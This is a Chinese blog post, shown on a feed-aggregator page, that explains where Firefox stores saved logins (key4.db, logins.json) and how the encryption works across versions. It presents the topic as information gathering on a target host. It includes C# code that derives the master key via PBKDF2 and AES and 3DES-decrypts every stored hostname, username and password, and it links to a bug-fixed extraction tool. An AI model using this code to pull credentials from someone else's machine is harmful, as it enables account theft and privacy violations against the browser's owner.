惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Y
Y Combinator Blog
IT之家
IT之家
博客园_首页
量子位
博客园 - 三生石上(FineUI控件)
小众软件
小众软件
博客园 - 聂微东
罗磊的独立博客
酷 壳 – CoolShell
酷 壳 – CoolShell
Hugging Face - Blog
Hugging Face - Blog
V
V2EX
爱范儿
爱范儿
大猫的无限游戏
大猫的无限游戏
宝玉的分享
宝玉的分享
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
雷峰网
雷峰网
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
Google DeepMind News
Google DeepMind News
Microsoft Azure Blog
Microsoft Azure Blog
有赞技术团队
有赞技术团队
S
SegmentFault 最新的问题
Engineering at Meta
Engineering at Meta
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com

运维开发绿皮书

OBS虚拟摄像头重命名 Ubuntu备份为LiveOS 使用Powershell卸载windows默认程序 Cisco路由器OSPF配置 汽车的分类和特点 Windows11跳过TPM2.0 HTTPS 双向认证与 USB 加密锁配置实战 SSL 证书工具 字数统计 BMI 计算 颜色转换 Hash 生成器 JSON 格式化 JWT 解码 房贷计算 时间戳转换 URL 编码 UUID 生成 牛马时钟 二维码批量生成器 CKS Simulator Kubernetes 1.25 FRP TOTP验证码生成器 direct-ssh-passthrough-nat 脚本使用说明 Python软件授权 Linux命令行百度网盘 为 Containerd 配置 Harbor 无证书镜像站 Docker一键部署Meta和MetacubexD面板 必应搜索屏蔽垃圾网站 VMware的ubuntu完整安装vm-tools支持粘贴板
Firefox密码提取
Paper-Dragon · 2025-04-17 · via 运维开发绿皮书

Firefox密码提取

Firefox浏览器密码保存在哪里呢,如何通过第三方工具进行解密,这是信息收集很重要的一个方向。如果能够下载到数据库,那么很容易就能得到target主机的大量用户名密码和对应网站。

文档参考了项目 https://github.com/lclevy/firepwd 其中有一些编码和陈旧的代码造成的bug,我进行了修改,bug修复版地址 https://github.com/Paper-Dragon/firepwd

大量资料来自: https://www.cnblogs.com/potatso/p/14875364.html

关键文件:

# C:\Users\admin\AppData\Roaming\Firefox\Profiles\<random text>.default\
Firefox 版本 <32 (key3.db, signons.sqlite)
Firefox 版本 >=32 (key3.db, logins.json)
Firefox 版本 >=58.0.2 (key4.db, logins.json)
Firefox 版本 >=75.0 (sha1 pbkdf2 sha256 aes256 cbc used by key4.db, logins.json)

Firefox密码的存储模式

Firefox存储密码的模式有两种,如果你在浏览器里面设置了Master Password,那么必须要有Master Password才能解密。

1916047-20210611154028601-1424490264

参考Firefox给出的密码加密解密流程图

https://github.com/lclevy/firepwd/blob/master/mozilla_pbe.svg

https://github.com/lclevy/firepwd/blob/master/mozilla_pbe.pdf

mozilla_pbe

登录信息存放位置

用户的Firefox各种配置文件存储在自己的Appdata\Roaming目录下:

C:\Users\admin\AppData\Roaming\Firefox\Profiles\<random text>.default\

不同版本的Firefox浏览器,存放登录信息文件和存放密钥文件也不同,其中用到的加密方式也有少许不同:

Firefox 版本 <32 (key3.db, signons.sqlite)
Firefox 版本 >=32 (key3.db, logins.json)
Firefox 版本 >=58.0.2 (key4.db, logins.json)
Firefox 版本 >=75.0 (sha1 pbkdf2 sha256 aes256 cbc used by key4.db, logins.json)

如果Firefox 版本 >=58.0.2 那么接下来需要找的两个文件路径分别是:

C:\Users\admin\AppData\Roaming\Firefox\Profiles\<random text>.default\key4.db
C:\Users\admin\AppData\Roaming\Firefox\Profiles\<random text>.default\logins.json

登录信息存储过程

以Firefox 版本 >=58.0.2为例,logins.json将用户所有登录信息(包括URL,用户名,密码和其他元数据)存储为JSON。值得注意的是,这些文件中的用户名和密码均经过3DES加密,然后经过ASN.1编码,最后写入base64编码的文件中,用一个测试登录信息如下所示,其中encryptedUsername和encryptedPassword就是被加密的用户名和密码:

{
    "nextId": 2, 
    "logins": [
        {
            "id": 1, 
            "hostname": "http://192.168.18.1", 
            "httpRealm": null, 
            "formSubmitURL": "http://192.168.18.1", 
            "usernameField": "", 
            "passwordField": "Password", 
            "encryptedUsername": "MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECNTQR/CqIN2qBAjp5XcZcmuibQ==", 
            "encryptedPassword": "MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECDUjhaRWzib+BBAUX/D1mTMqeccCSRJCkEbA", 
            "guid": "{b82c4d25-5fc6-47bc-8c31-b1bbeaff0807}", 
            "encType": 1, 
            "timeCreated": 1618124482800, 
            "timeLastUsed": 1618124482800, 
            "timePasswordChanged": 1618124482800, 
            "timesUsed": 1
        }
    ], 
    "potentiallyVulnerablePasswords": [ ], 
    "dismissedBreachAlertsByLoginGUID": { }, 
    "version": 3
}

key4.db是一个sqlite数据库,里面存储用于3DES解密logins.json的密钥,以及被加密的用于验证主密钥解密的password-check值,里面有两个表metaData和nssPrivate,

metaData中id为password的item1列为包含加密期间使用的全局盐值(globalSalt);item2列为ASN.1编码后的加密password-check数据,里面包含被加密的password-check字符串和用于加密的入口盐值(entrySalt)img

nssPrivate中 a11 列存放的是用于加解密的主密钥。 img

登录信息解密

Firefox 版本 >= 58.0.2 < 75

  1. 根据上述的描述,解密Firefox存储在本地的登录信息需要以下步骤:
  2. 找到当前计算机Firefox的profile目录,检查key4.dblogins.json文件是否存在。
  3. 如果存在,从key4.db中提取已编码+加密的password-check数据,先ASN1解码然后使用3DES解密被加密的password-check字符串(这样做是为了确认提取的密码是否正确)。
  4. key4.db中提取编码的+加密的主密钥 ,ASN.1解码,然后3DES解密主密钥。
  5. logins.json中读取加密的登录名和密码,ASN.1解码,然后3DES使用主密钥解密登录数据

Firefox 版本 >= 75

和Firefox 版本 >= 58.0.2 < 75不同的是,在加密password-check数据和主密钥使用了hmacWithSHA256的哈希算法和AES256 cbc的加密算法,所以解密步骤如下所示:

  1. 根据上述的描述,解密Firefox存储在本地的登录信息需要以下步骤:
  2. 找到当前计算机Firefox的profile目录,检查key4.dblogins.json文件是否存在。
  3. 如果存在,从key4.db中提取已编码+加密的password-check数据,先ASN1解码然后使用AES解密被加密的password-check字符串(这样做是为了确认提取的密码是否正确)。
  4. key4.db中提取编码的+加密的主密钥 ,ASN.1解码,然后3DES解密主密钥。
  5. logins.json中读取加密的登录名和密码,ASN.1解码,然后3DES使用主密钥解密登录数据

以Firefox 版本 >= 75为例,下面以项目部分代码为例讲下实现细节:

为了快速实现ASN1解码,AES和3DES的解密,使用了大佬们github的开源项目代码,链接放在最后的参考文章上,如果想深入了解ASN1的原理可以参考ASN.1 DER(可分辨编码规则)等文章,Firefox的ASN.1使用TLV(类型,长度,值)数据格式,数据仅使用少量的DER数据类型,这使得解码变得更加容易,TLV格式如下所示:

public enum Type
{
 Sequence = 0x30,
 Integer = 0x02,
 BitString = 0x03,
 OctetString = 0x04,
 Null = 0x05,
 ObjectIdentifier = 0x06
}

为了判断ASN1中ObjectIdentifier代表的加密方式,使用firepwd项目中提供的oid对应字典,具体编号对应参考http://oid-info.com/get/1.2.840.113549.2.9:

public static Dictionary<string, string> oidValues = new Dictionary<string, string>
{
 { "2A864886F70D010C050103","1.2.840.113549.1.12.5.1.3 pbeWithSha1AndTripleDES-CBC" },
 { "2A864886F70D0307","1.2.840.113549.3.7 des-ede3-cbc" },
 { "2A864886F70D010101","1.2.840.113549.1.1.1 pkcs-1" },
 { "2A864886F70D01050D","1.2.840.113549.1.5.13 pkcs5 pbes2" },
 { "2A864886F70D01050C","1.2.840.113549.1.5.12 pkcs5 PBKDF2" },
 { "2A864886F70D0209","1.2.840.113549.2.9 hmacWithSHA256" },
 { "60864801650304012A","2.16.840.1.101.3.4.1.42 aes256-CBC" }
};

解析出来的结果样例为:

SEQUENCE {
SEQUENCE {
SEQUENCE {
        OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
SEQUENCE {
SEQUENCE {
        OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
SEQUENCE {
        OCTETSTRING 947EB49963185BD83E2BD77C074A4A982832515E775AC7B23577F15401E905BD
        INTEGER 01
        INTEGER 20
SEQUENCE {
        OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
        OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
        OCTETSTRING 6C567DBF5EEC60AF7D2FB363035F
        OCTETSTRING 140D0C287323E3C1B404157C92973A17
        OCTETSTRING 140D0C287323E3C1B404157C92973A17
}
SEQUENCE {
}
        OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
        OCTETSTRING 6C567DBF5EEC60AF7D2FB363035F
        OCTETSTRING 140D0C287323E3C1B404157C92973A17
}
SEQUENCE {
}
        OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
        OCTETSTRING 6C567DBF5EEC60AF7D2FB363035F
        OCTETSTRING 140D0C287323E3C1B404157C92973A17
}
SEQUENCE {
}
        OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
        OCTETSTRING 6C567DBF5EEC60AF7D2FB363035F
        OCTETSTRING 140D0C287323E3C1B404157C92973A17
}
        OCTETSTRING 140D0C287323E3C1B404157C92973A17
}
        OCTETSTRING 140D0C287323E3C1B404157C92973A17
}
}

ASN.1解析器类将ASN.1编码的BLOB递归地解析为一个对象。每个对象都包含一个对象列表,这些Sequence对象代表处理编码的登录数据和主密钥的情况,通过oid得知加密方法后,从解析器里提取entrySalt,iterationCount,keyLength。之后先获取globalSalt的sha1加密值,和entrySalt一起做hmacWithSHA256加密来获取密钥,最后提取cipherT做AES解密,通过decryptPEB函数可以获取解密后的password-check字符串和主密钥,代码如下所示:

else if(pbeAlgo.Contains("1.2.840.113549.1.5.13"))
{
    byte[] entrySalt = asn.objects[0].objects[0].objects[1].objects[0].objects[1].objects[0].Data;
    int iterationCount = asn.objects[0].objects[0].objects[1].objects[0].objects[1].objects[1].Data[0];
    int keyLength = asn.objects[0].objects[0].objects[1].objects[0].objects[1].objects[2].Data[0];

    byte[] k = SHA1.Create().ComputeHash(globalSalt);
    var hmac = new HMACSHA256();
    var df = new Pbkdf2(hmac, k, entrySalt, iterationCount);
    byte[] key = df.GetBytes(32);
    Console.WriteLine(BitConverter.ToString(key));
    byte[] source = { 0x4, 0xe };
    byte[] iv = byteCpy(source, asn.objects[0].objects[0].objects[1].objects[2].objects[1].Data);
    Console.WriteLine(BitConverter.ToString(iv));
    byte[] cipherT = asn.objects[0].objects[1].Data;
    Console.WriteLine(BitConverter.ToString(cipherT));
    byte[] clearText = AESDecrypt(cipherT, key, iv);
    return clearText;
}

现在剩下的就是使用密钥和IV执行3DES解密登录信息了,读取logins.json文件

  1. 遍历中的每个Login对象JSONLogins
  2. ASN.1解码每个用户名和密码
  3. 3DES使用主密钥解密每个用户名和密码
  4. 输出hostname,username,password
FFLogins ffLoginData;
using (StreamReader sr = new StreamReader(userFireFoxloginPath))
{
    string json = sr.ReadToEnd();
    ffLoginData = JsonConvert.DeserializeObject<FFLogins>(json);
}

foreach (LoginData loginData in ffLoginData.logins)
{
    try
    {
        Asn1DerObject user = asn.Parse(Convert.FromBase64String(loginData.encryptedUsername));
        Asn1DerObject pwd = asn.Parse(Convert.FromBase64String(loginData.encryptedPassword));
        string hostname = loginData.hostname;
        string decryptedUser = TripleDESHelper.DESCBCDecryptor(privateKey, user.objects[0].objects[1].objects[1].Data, user.objects[0].objects[2].Data);
        string decryptedPwd = TripleDESHelper.DESCBCDecryptor(privateKey, pwd.objects[0].objects[1].objects[1].Data, pwd.objects[0].objects[2].Data);
        string username = Regex.Replace(decryptedUser, @"[^\u0020-\u007F]", "");
        string password = Regex.Replace(decryptedPwd, @"[^\u0020-\u007F]", "");

        Console.WriteLine(hostname);
        Console.WriteLine(username);
        Console.WriteLine(password);
        Console.WriteLine("");
    }
    catch(Exception e)
    {
        Console.WriteLine(e);
    }
}

最终结果如下图所示:

img

更新日志

  • 3eb2c-fixed code high light format
  • ee40c-Firefox密码提取